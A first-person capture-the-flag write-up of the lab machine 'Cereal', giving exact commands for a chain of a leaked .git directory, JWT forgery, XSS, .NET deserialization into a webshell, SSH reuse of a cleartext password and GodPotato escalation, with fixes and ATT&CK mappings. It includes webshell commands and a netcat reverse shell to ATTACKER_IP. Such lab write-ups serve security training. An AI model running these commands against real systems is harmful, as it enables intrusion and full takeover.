Cereal
Summary
I scanned <retired-instance-ip> and found a Windows IIS 10.0 server whose TLS certificate disclosed two virtual hosts: cereal.htb (a React login SPA) and source.cereal.htb (the ASP.NET Core development back-end). The development vhost served its .git directory publicly, and git-dumper reconstructed the entire application source. Searching the git commit history of Services/UserService.cs uncovered a hardcoded HMAC-SHA256 JWT signing key; using that key I forged a valid administrator token with no credentials. The admin panel rendered stored request titles through react-marked-markdown 1.4.6, an abandoned library with a known JavaScript-link XSS bug. A payload submitted via the forged token fired a fetch() call from the administrator's browser — which ran on the server itself, satisfying the localhost-only IP restriction on the /requests POST endpoint — and delivered a Cereal.DownloadHelper JSON body. Because the application configured Newtonsoft.Json with TypeNameHandling.Auto, the deserializer instantiated the user-named class, which fetched a cmd.aspx webshell from my HTTP server and wrote it into the uploads directory. Remote code execution via that webshell exposed a SQLite database whose users table held sonny's password in cleartext. SSH with those credentials gave an interactive foothold as cereal\sonny. Sonny's account held SeImpersonatePrivilege; GodPotato-NET4.exe coerced the RPCSS service into supplying a SYSTEM-level token and launched a reverse shell as NT AUTHORITY\SYSTEM, completing full compromise.
Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p 22,80,443 $TARGETopenssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A3 'Subject Alternative Name'echo '$TARGET cereal.htb source.cereal.htb' | sudo tee -a /etc/hostsExact commands 3
curl -sk https://$TARGET/.git/HEADgit-dumper https://$TARGET/.git/ /tmp/cereal-srccd /tmp/cereal-src && git log --oneline --all && find . -maxdepth 3 -type f | sortFixBlock all public access to the .git directory on every web-facing serverCritical
Exact commands 3
cd /tmp/cereal-src && git log -p --all -- Services/UserService.cs | grep -B5 -A5 -Ei 'secret|key|hmac|jwt|signing'python3 -c 'import jwt,time; print(jwt.encode({"unique_name":"1","nbf":int(time.time())-60,"exp":int(time.time())+86400,"iat":int(time.time())},"[REDACTED: recovered signing key]",algorithm="HS256"))'curl -sk --oauth2-bearer "$BEARER_TOKEN" https://$TARGET/api/requestsFixRemove the hardcoded JWT signing key from source code and rotate all issued tokens immediatelyCritical
Exact commands 2
python3 -m http.server 8080curl -sk -X POST https://$TARGET/api/cereals --oauth2-bearer "$BEARER_TOKEN" -H "Content-Type: application/json" -d '{"title":"<XSS_PAYLOAD>","body":"poc"}'FixReplace the abandoned react-marked-markdown library with a maintained, XSS-safe Markdown rendererHigh
Exact commands 3
curl -sk "https://$TARGET/uploads/21098374243-cmd.aspx?cmd=whoami"curl -sk "https://$TARGET/uploads/21098374243-cmd.aspx?cmd=copy+C:\inetpub\cereal\db\cereal.db+C:\inetpub\source\uploads\cereal.db"curl -sk -o /tmp/cereal.db https://$TARGET/uploads/cereal.db && sqlite3 /tmp/cereal.db 'SELECT * FROM users;'FixDisable TypeNameHandling.Auto in Newtonsoft.Json to prevent deserialization gadget attacksCritical
Exact commands 1
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sonny@$TARGET 'whoami & type C:\Users\sonny\Desktop\user.txt & whoami /priv'FixHash all stored passwords with a modern one-way algorithm — never store them in cleartextHigh
Exact commands 4
sshpass -p '[REDACTED: recovered credential]' scp -o StrictHostKeyChecking=no GodPotato-NET4.exe nc64.exe sonny@$TARGET:C:/Users/sonny/nc -lvnp 4444sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no sonny@$TARGET 'C:\Users\sonny\GodPotato-NET4.exe -cmd "C:\Users\sonny\nc64.exe ATTACKER_IP 4444 -e cmd.exe"'type C:\Users\Administrator\Desktop\root.txtFixRemove SeImpersonatePrivilege from application and named user accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 443/tcp | ssl/https? |